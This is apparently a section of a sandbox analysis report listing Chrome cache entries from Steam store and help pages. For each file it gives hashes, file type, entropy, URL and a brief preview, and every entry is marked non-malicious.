Preview:	..Steam = {...sm_bInitialized: false,...sm_bUserInClient: false,...sm_bUserInGameOverlay: false,...sm_bUserInTenfootBrowser: false,...sm_bUserInMobileChat: false,...sm_bUserInMobileApp: false,.....BIsUserInSteamClient: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient;...},.....BIsUserInGameOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInGameOverlay...},.....BIsUserInSteamTenfootBrowser: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInTenfootBrowser;...},.....BIsUserInClientOrOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient \|\| Steam.sm_bUserInGameOverlay;...},.....BIsUserInSteamMobileChat: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInMobileChat;...},.....BIsUserInSteamMobileApp: function()...{....if ( !Steam.sm_bInitialized )...

Chrome Cache Entry: 397

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 66 x 66, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3207
Entropy (8bit):	7.929417630532427
Encrypted:	false
SSDEEP:	48:4/6c6pVCtBEk0RSsouHmNbs8e7mf6TRdfNHMonp1J4kezFflFlig7xKZ1cxB:4SLpkBEYsouGuriyT7FsuPIl6gwZ1m
MD5:	302025BB525953B50D68EECD59FD185C
SHA1:	2BF0A295B5874E2197B6157C64A09791A27143F1
SHA-256:	EBCCCFC2AFA2440CD2C066A6FE91988882C083F1785E434C31C42F4C3FCE0DBF
SHA-512:	B8C9FEF04B970C9F3D26BBCD006AE0574B3980D6E733F73C3CCD6B7AB368835FFB3EC024937CB3AE3D02474E780FB93A992FC5B4E651C32B34AA9E2D87B14A72
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_chat_icon.png
Preview:	.PNG........IHDR...B...B......T......pHYs.................sRGB.........gAMA......a.....IDATx...T.W...j.d.lP.T....P.M.".F......Qp.I..I.9.(...KP...L0....%q...h"Qc\...#H#..5...H...'.w.;.....{....[U.A$....07..'......%x(.W......%....)=.......FP~pT.m.......E.oA.6...j.z.!h..Kx...f.M4.Z>.>..S.$.%...I..hNp....... .....9..f&..p.C..G....\c.....;.:..dWJ4k8..G.je..zO..el.Bg&....>8...U.V.O.\|..j.....J<?(md.b..\.!h.i.R....s.IY..j.,...Z.v1t:<.hM.,<..1.PQR...LKs3......9..&....i..xXX....u....\[..`[M...5..rA@WG.uq...e..\...W........p.V......h..4e}..#.M..D.0.WD.x.o..0...G.v...t.i9.......cL.%..oH.G=..p...pq..=....>9\|..y....!..8au...d.mmc......S..".4d........P.X{.^.D"E...]...K..M..e.L..rB..o...7....vB.&..b.+!0...i..o.@xt..k.......C...>r..K...A.7f.._.t=.._....0...!..)#...M..ZJYk..w',.......(...n.Nmm... 1.~../......#.Q.....z....^.;.."...{......L.1\|.A.!#.=..l..o..H{........<..-v/....]..".I....M...4..4..:...B......>.....`k......w..S.....s..M..VZ.~.>...2...9....F8;...o@*

Chrome Cache Entry: 398

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1180 x 645, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	91510
Entropy (8bit):	7.965673795146027
Encrypted:	false
SSDEEP:	1536:5RkOuQQ42ccAu3gMZWicameBcBLQxuWsX+9DzGMgxU1txcUXTgfV:5RkTQQ4nc73gMdc+BcBLvWf9GDxUZcUi
MD5:	9EC746C312F6F725A6D74A5BFFB6DB1C
SHA1:	70E0AA720ED372244D223AC1612DC2BE6CBA2242
SHA-256:	D8A737950D51D18CB2CFB814F0FE14C6002E1F247A8C519A599E7E4EC10388AA
SHA-512:	3D816256785081194B07E52F3CAF06F091E5C0FBB16334CEBF01B5FE07A634CD8762B36FAF930FC41AAAF2BBEE8DFF967EB7DA4906D38AD46AD15B013120B0FB
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............'.....pHYs.................sRGB.........gAMA......a....cIDATx..}...-.q...A....>.i;.......{..B`..........H...[...6....23z.;......lTOqI..\|&.....%.j=..FrP...L.^."....)G].d...3...Y...4.....@ ..=.r+.[....z.-..\...."..2...p..Q..S..y...<Ty!.'......u.\..\..D]`.-....b../..Xs(y.z...L.(C...yyji.!.j....s.u.........J....X..2O.&..}R.......s.{...0.G...?..;.#.D6.Tv.L:=..!.2......'.2.m.63..........-...z.:).......lhrm4..I.._5...,{i...t.......Qn.3I..@ ..<.F.?...K...Y.c.2/.....X<i.K.n.,.:+.....u4....Io..h.*.U.+DVt.k.?e_.......$..w.P..^..G'...K.Cxm..v.._qo....!A.i...~.-..T.?.pR..m0.d0......#."_D\|.i+.&f0P'.RY.4\.d...H..s...p.Sz.....N...SRt....!7.'.Y..2.;2.+.d>.......OB..yn.....aG+.F.T_.A....D.A.m3.Y........XN.ls&..i.++.M.I_.Ieh....;.".\h..R.f..]...%.i$xyM.....A.....>..o.j4.L.@F..ay...e9..\|..i...N...s.......6..G.4.6..8...u.../.....~..........3.....g..F.~.D<..M..@..p.]y.....e$.....H.V...ns....#.K...v..yz3...;..."..4.(c...{.

Chrome Cache Entry: 399

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65371), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2175818
Entropy (8bit):	5.562473572476677
Encrypted:	false
SSDEEP:	12288:FoNNy6NEjLDgfHxyvXoW1hsMpta8vlrgAdW718HmDLuNg/dt7muR0Pq:FANyvDg0hsMHaSrg6WxLuNCdtKuR0Pq
MD5:	694562C2AD40E74A8B87C3120B08A1FA
SHA1:	27F264BD235654B8AF75E8F9D40C5EADBF2E3DEA
SHA-256:	792F51AA46A8493DC87FD2956E7B1F3D70D8B242197CE80A9086795B4C6A7992
SHA-512:	4EF828B3870C2E9B40594E2179205D84C2DBC1B405C5D543BE0DFBA323588DED4832D690609D16070633496D3FC5741F77D6A8E6E64C80EED76213814A67D741
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[8792],{53955:(e,t,r)=>{var i={"./shoppingcart_brazilian.json":[46865,4977],"./shoppingcart_bulgarian.json":[62810,9050],"./shoppingcart_czech.json":[16052,6771],"./shoppingcart_danish.json":[83976,4630],"./shoppingcart_dutch.json":[85333,8709],"./shoppingcart_english.json":[95811,311],"./shoppingcart_finnish.json":[81676,2964],"./shoppingcart_french.json":[11481,3679],"./shoppingcart_german.json":[91187,2753],"./shoppingcart_greek.json":[89155,5579],"./shoppingcart_hungarian.json":[74150,9326],"./shoppingcart_indonesian.json":[39761,9935],"./shoppingcart_italian.json":[82411,2095],"./shoppingcart_japanese.json":[38374,1192],"./shoppingcart_koreana.json":[59552,2184],"./shoppingcart_latam.json":[32464,6592],"./shoppingcart_norwegian.json":[93987,3167],"./shoppingcart

Chrome Cache Entry: 400

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.1162646156680225
Encrypted:	false
SSDEEP:	3:YHr0I1W/Aw:Y4I1W/Aw
MD5:	7D8E35AFA8792B923F4E6C5906E7C4B5
SHA1:	32168FBCD8A98B424F566046D3680648B49AC633
SHA-256:	D5C8F5FB29CA010EC4C6E11774D17B0CC27B21304811521E29141F581C061E87
SHA-512:	6C77E16CC85801E0D6732876B7A1B59F48CD19FE5FFBCF081C6EC96D496BE48421A92A4C0258AED151B922515B48553069B7188107B62AD0AB80B421B8D7CBB3
Malicious:	false
Reputation:	low
Preview:	{"bAllowAppImpressions":true}

Chrome Cache Entry: 401

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 37x37, segment length 16, baseline, precision 8, 32x32, components 3
Category:	downloaded
Size (bytes):	700
Entropy (8bit):	6.912261889131172
Encrypted:	false
SSDEEP:	12:Ac150Xyose8z9U9lJ93Yu8GxqTXWn+ygiIlqYm3c8VDfTIiGO2OU2Q+GT/lDhWpi:Ac1spMUp93YDGAXWn+IIbmPfMiGO7U2M
MD5:	FAC0B2E3A3EEF22CC8B5D10F740AAA15
SHA1:	2BF712CEAD5B5000EA7C9DF5E7539B01571F4BD8
SHA-256:	525D86CE4631D5494BE8D2174C96241CBC1B7AE03A7093E56019807CB9FEE36A
SHA-512:	EBAD530320AC3CC0329689C6A6615F11AE9CDC28E83E18A44432B95C0EB0220B1D409173BA1A17D1FE9039ED719E5F44E1E431831769F70233BF2A10C265AC37
Malicious:	false
Reputation:	low
URL:	https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/2429640/2f68e286764ecc7774825d4f122d557259e0089d.jpg
Preview:	......JFIF.....%.%.....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...... . ..".....................................'..........................!1A..2Qa.."...................................................!1."q............?....p...3B.s9G.MY......o....p2O....T.6....#Z ...[.......0w.5zA+........c_..s.iO.z..g..i1.+4e=...;..q..~......$q...k4y..Q..X'1.5...... .8..=...."<....k.....X.=....Gd.o.6.;G.....L.}....:..5.V..<...%\.*hk....+.@.b@;.....)..R%.N.]....~7..<~_!..6%.u.&W;..0..k\|6..t..uU.....K.C~.....%.......sm<.\|...O.0.t.j.:Vp.....C.O....r.dn5.,..(v....>....;6o.7l.a.^.gn...[>u...Z.<.Cc!.w?..

Chrome Cache Entry: 402

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1846
Entropy (8bit):	7.365755828390777
Encrypted:	false
SSDEEP:	24:o/51he91Wwh82lYSg767V+6gT3qxyJbRW6vRW6nGPAQ4PKsSnflj0Sybz4+43Ore:o/qQvnb6706gVJbVvVnX/8NAzb/4OFjg
MD5:	574C350C7B23AE794D5276F8580E0838
SHA1:	235C7B35C3468F8915ECA01F7ABDB43D34079609
SHA-256:	8B97BA0DAC22FE6704C1F6D95FE79613F33017804F256ABB9006DF0442491787
SHA-512:	F1F2D7B6FA49E9241F2B88560127EB2871F66123C2F9DE45B257750CF13E6EBB32A9D85D87AADA6A99838A2F3C5412540065CBAB398760A50F15AAE3A759F9F7
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Preview:	.PNG........IHDR...\.........:.;)....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:CA2980EA1CE911E48001B5E88DFE2FC8" xmpMM:InstanceID="xmp.iid:CA2980E91CE911E48001B5E88DFE2FC8" xmp:CreatorTool="Adobe Photoshop CS6 Windows"> <xmpMM:DerivedFrom stRef:instanceID="022AC118D7972AA30ADDF82E49682075" stRef:documentID="022AC118D7972AA30ADDF82E49682075"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..X[H.Q...7.-.a.E.0.(."....-..z.GIA.O.}..Q.._EQP..(.0{.(z@.......Y.......v..;g.3.Y...93.Y..>{.......02..~b.X....g2..h.

Chrome Cache Entry: 403

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 63628, version 0.0
Category:	downloaded
Size (bytes):	63628
Entropy (8bit):	7.993563067370757
Encrypted:	true
SSDEEP:	1536:uacKl4quxZGi4XBHTXzU+9kZq7F1Tkd4wC5IryvbDz:rBl4qqGiO1TXYBI1YdCIryPz
MD5:	E704D909203F0E6A4AC8624C1E1B6536
SHA1:	061607C6A57E63580FC7A46658763FF36CDD926D
SHA-256:	54B3BF2E12E41641DEE7690B6E0ECCF778D341713CB957AFF9012F41D923CBE2
SHA-512:	C92AA2AC2CA0C75EBC5EDD5008579692C120F05B33BBBCE2F7F835B9CECDDC3F1064647AA0543B93E17770422D4105227B32D0300D37B92E5A66610EC9FC8036
Malicious:	false
Reputation:	low
URL:	https://fonts.cdnfonts.com/s/61286/MotivaSansExtraBold.woff
Preview:	wOFF........................................FFTM............g..GDEF...........8....GPOS..........)6.s(aGSUB............6..OS/2.......P...`z..<cmap............{.z.cvt .......).....M..fpgm...,.......b....gasp................glyf................head...H...1...6...Ihhea...\|... ...$.:..hmtx..............loca...$...$...$G..-maxp...H... ... ...Zname...h...Z...S.(.<post.......2......+prep.............h...........=.......UH......s..x.....@@....5..)),.#....@-&.x}...9rj..bF..P....x...tV......%..&.x...n@..:.....Pw[.....Rc2..4...z..iJ..y.^.OH....0.{..w..G.}v...9....7..)d..............Q8G.X..\B'.8....9S.s.R.=../..K.~._..l..J..%....{.,H....#....tFE.SB)e.S...f.C..pFP.H...h.0.#9..9.c.+.c:.q1.p).q9Wp%Wq53..k...........;.....{x.U.a....3<...'...../.....y......m..}...O.N3-.`'.i5,..E-.-..,.2-.r....<;....Y..Y....v...E.....L..hU.=.N.j......v.....lk...c....`g.P4T JBW...Z..&\.*...>5\|^$]{...5..ow.;..[..G-.N.h..Q...P.>V..T.F...=u..G..E...~.2=.......WK.4;..A....im..sc02.2......

Chrome Cache Entry: 404

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	89437
Entropy (8bit):	4.934831850769131
Encrypted:	false
SSDEEP:	1536:LlaY4P+xmlvr+k3mCQHNl9EvOxzXQApcGBPVCGUb6WFA66WqiLOrVQXWl:E1XZEl9EvOxzLcGBkQ1WA
MD5:	31ED48071CE4B62C24520C95BCDE6026
SHA1:	C073152E6835FBA2DED4CC215F3985266BE23F2B
SHA-256:	08B39451EABACA10CD735816CDC5AF4A35B05FBB197E2082235B6E16BE62DEDB
SHA-512:	1CB651EC52D7EB67A961436A48340D0B783BC944CD54008D00E8B26D933D0668380126C6ACAE89EF10906FD96E8DA9ED4EF773DFD9C761F608FF7EBDA5554AE7
Malicious:	false
Reputation:	low
Preview:	// script.aculo.us scriptaculous.js v1.8.1, Thu Jan 03 22:07:12 -0500 2008....// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)..// ..// Permission is hereby granted, free of charge, to any person obtaining..// a copy of this software and associated documentation files (the..// "Software"), to deal in the Software without restriction, including..// without limitation the rights to use, copy, modify, merge, publish,..// distribute, sublicense, and/or sell copies of the Software, and to..// permit persons to whom the Software is furnished to do so, subject to..// the following conditions:..// ..// The above copyright notice and this permission notice shall be..// included in all copies or substantial portions of the Software...//..// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..// NONINFRINGEMENT. IN NO EV

Chrome Cache Entry: 405

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	80
Entropy (8bit):	4.7482991522382285
Encrypted:	false
SSDEEP:	3:mSr5Bk/ZoS+NGthpdJ1G5QA/n:mSr5G/ZoSy6T8
MD5:	5AEAE2553F9AB382F0161E5D78EB6911
SHA1:	219AE977AAF29438A56CD7848A6F5A790F3F44AD
SHA-256:	A1F4114697B57E94075CD58C9218C0103BDF297BD28985752AA2637D025222A2
SHA-512:	CD0C142C9991E07C84FE8DA6FC9442BAAA0E73781A8E314FAB938E8A0A58979F204D23B3C304945951FB8D83A9849F771E9C603E843E8748A5E82C106D7D200B
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISHglsAAjmmBodghIFDchGVTYSBQ2RYZVOEgUNNYZUHBIQCQqunbGOAqo0EgUNyEZVNhIXCXqtS0KhB17lEgUNkWGVThIFDTWGVBw=?alt=proto
Preview:	ChsKBw3IRlU2GgAKBw2RYZVOGgAKBw01hlQcGgAKCQoHDchGVTYaAAoSCgcNkWGVThoACgcNNYZUHBoA

Chrome Cache Entry: 406

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65371), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	972384
Entropy (8bit):	5.832227573654786
Encrypted:	false
SSDEEP:	12288:ScMUDNR7fkrf13Y1AXUSkloAXp4IAoRnOSd0k8JFW5qsx:rJKfCGUSkloPzoRnOSZyFW5qsx
MD5:	4F4506F667B9E46FB591B41A4D34E26D
SHA1:	9807327119E84CD8EC7E953E6B2B995775895160
SHA-256:	676BEBD7F2729D5C605505B335F730375AC74880D3903C80393736B263DC0265
SHA-512:	4083E6AAA180EEB0B9F393F072159766B266C8DB8C298F104FD16BF10E2FEB10FD612BA0BEF7B7CD3BB1E8D5C6C0AA20529973683816399D60F582342D357156
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/libraries~b28b7af69.js?v=T0UG9me55G-1&l=english
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[8997],{41735:(e,t,r)=>{e.exports=r(38681)},61238:(e,t,r)=>{"use strict";var n=r(51362),o=r(65072),i=r(74438),a=r(63724),s=r(47429),l=r(83862),u=r(24508),d=r(38466),c=r(35407),g=r(99461),p=r(97962);e.exports=function(e){return new Promise((function(t,r){var h,f=e.data,_=e.headers,m=e.responseType;function y(){e.cancelToken&&e.cancelToken.unsubscribe(h),e.signal&&e.signal.removeEventListener("abort",h)}n.isFormData(f)&&n.isStandardBrowserEnv()&&delete _["Content-Type"];var b=new XMLHttpRequest;if(e.auth){var v=e.auth.username\|\|"",M=e.auth.password?unescape(encodeURIComponent(e.auth.password)):"";_.Authorization="Basic "+btoa(v+":"+M)}var S=s(e.baseURL,e.url);function L(){if(b){var n="getAllResponseHeaders"in b?l(b.getAllResponseHeaders()):null,i={data:m&&"text"!==m&&"

Chrome Cache Entry: 407

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	124529
Entropy (8bit):	7.79044844464572
Encrypted:	false
SSDEEP:	3072:R24zCBv0a8Oz/fxlnI0Nc49J7g3HOHQZP:R2GCea8OzHfjO85ygs
MD5:	48B805D8FA321668DB4CE8DFD96DB5B9
SHA1:	E0DED2606559C8100EF544C1F1C704E878A29B92
SHA-256:	9A75F8CC40BBE9C9499E7B2D3BAB98A447685A361489357A111479517005C954
SHA-512:	95DA761CA3F99F7808A0148CFA2416B8C03D90859BFF65B396061ADA5A4394FB50E2A4B82986CAAB07BC1FCD73980FE9B08E804B3CE897762A17D2E44935076D
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/joinsteam/new_login_bg_strong_mask.jpg
Preview:	......Exif..II.................Ducky.......<......Adobe.d.................................................................................................................................................8........................................................................................!.1.A.".Q.a2.B#q..3Rb$........................!..1.AQ"..a2B#.............?..w:2...................................u...h....u.}@ ...0.......[..M)..p.....^.0.7P2@..<.H.>@........^@w.?.d.....@.p.w.....y.\..]:......`..%.&...>.....h...{.\|.....O[4Q ]....k..Rg..y....p..jR'..<.\....AS..)..i#..Ps..7UF...d.6...SRb.O..mr.;.R:.......X_.._.sU\}..R..:cC....S...{x%..=.z..yG.[t.S.5.O._.=3.H..\|:r.+..7%b.zt+Nc.\c...\|.&.K..-.qz..\...O.+u...3.>./.....5...D.........H.$.&ER@0..o..gW.u.8'N=...N.Y...g.x...PR................>......>.1...W...C\....a..2...%TA...=oWd...ur..Z......&_...m..?.....O.....Fly.D.D6.r....OK&....H.b...Z...)A.........]Z.U.4VL.&YS../.0p......p......4.....)....*B.a.3b.A8....V.

Chrome Cache Entry: 408

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2612), with CRLF line terminators
Category:	dropped
Size (bytes):	154404
Entropy (8bit):	5.337881533074874
Encrypted:	false
SSDEEP:	1536:D1l9Ah60MhmjGFh61e5lnl9bsPdVcTzWMnyN3qxVqGoteFANNfsflM6kQuOEmTMu:n0861e5/9b6dVcm9qVqZfrUEoIm
MD5:	444106254D61C24625741613608F5DA0
SHA1:	2D5B79109AB130C586F006EFF9B3132030E8EA83
SHA-256:	34E7C6C8A8962B8921E20C19BC00A204CACC2BC248D4A0663880EA7FFD03FD67
SHA-512:	96A6A6C6948DE8C819B552FCFA06F9BA13D8102C219E6E4C93D5913B6910AC13C78B1E3641A280377B7915A9BEF9A120C3EFE7B527885ADFF24BFFCFB0272CF7
Malicious:	false
Reputation:	low
Preview:	..Steam = {...sm_bInitialized: false,...sm_bUserInClient: false,...sm_bUserInGameOverlay: false,...sm_bUserInTenfootBrowser: false,...sm_bUserInMobileChat: false,...sm_bUserInMobileApp: false,.....BIsUserInSteamClient: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient;...},.....BIsUserInGameOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInGameOverlay...},.....BIsUserInSteamTenfootBrowser: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInTenfootBrowser;...},.....BIsUserInClientOrOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient \|\| Steam.sm_bUserInGameOverlay;...},.....BIsUserInSteamMobileChat: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInMobileChat;...},.....BIsUserInSteamMobileApp: function()...{....if ( !Steam.sm_bInitialized )...

Chrome Cache Entry: 409

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64904), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	171820
Entropy (8bit):	5.091615070300934
Encrypted:	false
SSDEEP:	1536:Ns4PKffp9FVf2HBeZTjxI1slCWW9sEbsgsfRc117tUCqU3A8yWiSgzgPMNSrf:Ns4PKfx/VhTjHlCNOEArfKrxRJS+D
MD5:	4D9ECC70DDE56858A3451017CD7FD8D9
SHA1:	88189CFF695C454384884888EA46D9C11060C811
SHA-256:	E10ACC2425B736F904CA0EC762A77B516CE7CEA7391354841199E55750EEE287
SHA-512:	DCCDF161353E3FBD904B63F646EBF616E9EB977D23933575A307336AED6BB044902E11DC5990AA217F7B8CC16E190A968FC9077FE74F335C195C72DE46C6F60C
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/sales_english-json.js?contenthash=3e3b65fabec655df899a
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[6103],{78598:e=>{e.exports=JSON.parse('{"language":"english","Summer2022_hunt_Intro":"Greetings from the Future!","Summer2022_hunt_Intro_1":"I am Clorthax, a time-traveling trickster! I know what you.re thinking: \\"A professional trickster? This sounds like a trick!\\" That is a reasonable concern! But what I am about to tell you is not a trick, and to prove it, I will type it in all caps: THIS IS NOT A TRICK.","Summer2022_hunt_Intro_2":"Okay, it.s a trick. But only on the people of the future! You.re going to love this. Why? Because I have stolen the ten best games from the far future, then traveled across an ocean of time to sell them to you! Exclusively on Steam!","Summer2022_hunt_Intro_3":"Anyway, I can.t outright tell you the names of thes

Chrome Cache Entry: 410

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12659), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	12824
Entropy (8bit):	5.556602496534854
Encrypted:	false
SSDEEP:	192:+Ol7JG2AOVDFDlDFuDIbqkzdNqYAwuOVVTxHYr7p/vbZzhGyUf/oa4X8LZrBrt:+s9G2A4X3bqouOzxHYfp/vbZzhGIglp
MD5:	B91F2C20108DBCD846F874CB4A4BCB43
SHA1:	3E138968F2169404D0098C92AC4C402E8FABD3F6
SHA-256:	033DCFC29F556D3630EDA2BE01D960D23E798A208EC56BB8E171C3D206624EE7
SHA-512:	31E631538B82EB0438BA5CC67F1BDD14F71C78F661BE8CF8563C724220A93D183903254C511F425C0F4EDBF4AFE956A717F687B439DD4A7ABD7EB89E7DA7713B
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/legacy_web/main.js?v=uR8sIBCNvNhG
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..var CLSTAMP="9224605";(()=>{"use strict";var e,t,n={661:(e,t,n)=>{n.d(t,{pR:()=>r,Vz:()=>i,nh:()=>l});var a,r,i,o=n(729);class s{m_ActiveInputId;m_ActiveInputTimeout;m_config;constructor(e){this.m_config=e}Reset(){this.m_ActiveInputId=void 0,null!=this.m_ActiveInputTimeout&&(clearInterval(this.m_ActiveInputTimeout),this.m_ActiveInputTimeout=void 0)}HandleInputButtonDown(e,t){if(this.m_ActiveInputId!==e&&null!=t){this.Reset(),this.m_ActiveInputId=e;const n=()=>{this.m_ActiveInputTimeout=window.setInterval((()=>{t()}),this.m_config.repeatInterval_ms)};null==this.m_config.firstRepeatInterval_ms\|\|this.m_config.firstRepeatInterval_ms===this.m_config.repeatInterval_ms?n():this.m_ActiveInputTimeout=window.setTimeout((()=>{t(),n()}),this.m_config.firstRepeatInterval_ms)}}}!function(e){e[e.None=0]="None",e[e.Horizontal=1]="Horizonta

Chrome Cache Entry: 411

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 26, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3737
Entropy (8bit):	7.906671945599965
Encrypted:	false
SSDEEP:	96:OSDZ/I09Da01l+gmkyTt6Hk8nTqviwYZP2H51:OSDS0tKg9E05Tqviw6451
MD5:	1626F52ADDB7C56FE3679D82108C62E9
SHA1:	2B414092D66ECFF528950093A655F755C3C7F3B5
SHA-256:	AE9F6C61E25D15882BF57BDE193D10D375BD315C9741CABDA11D700FD1BB7DD1
SHA-512:	05548831477CC421556C404F3411F581E98A84FF2E699882CB4F5DCA17D1C5F77B55ED2B8211EEC32D0A4317BE1C4EBC636277F840262491B753415F6F198276
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...`.........H!Y.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

Chrome Cache Entry: 412

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (659), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	824
Entropy (8bit):	5.4873953810406135
Encrypted:	false
SSDEEP:	24:+Tuj0z//T19TOf4rBQibMGPo5cr6cOSGVXpBRCT:+Tuj0//T1JRlbVo52Om
MD5:	B03962A3336EE12137F1A50057F3CBF8
SHA1:	2A7DD13865E71A815773E8E226E4283CDE95FF97
SHA-256:	0424392B16410979DEFF96C0350AE3A03C60D477BD1E758021DCCD3C68F24880
SHA-512:	3A52E02EB598F05A0DEC0748D3FB5FA99D19B62EA9281E886191966A4A9AB6F03650A690102E1F55C80D13CE56B1EEBB2C68EC4E532C24BC7A684349E1D5120B
Malicious:	false
Reputation:	low
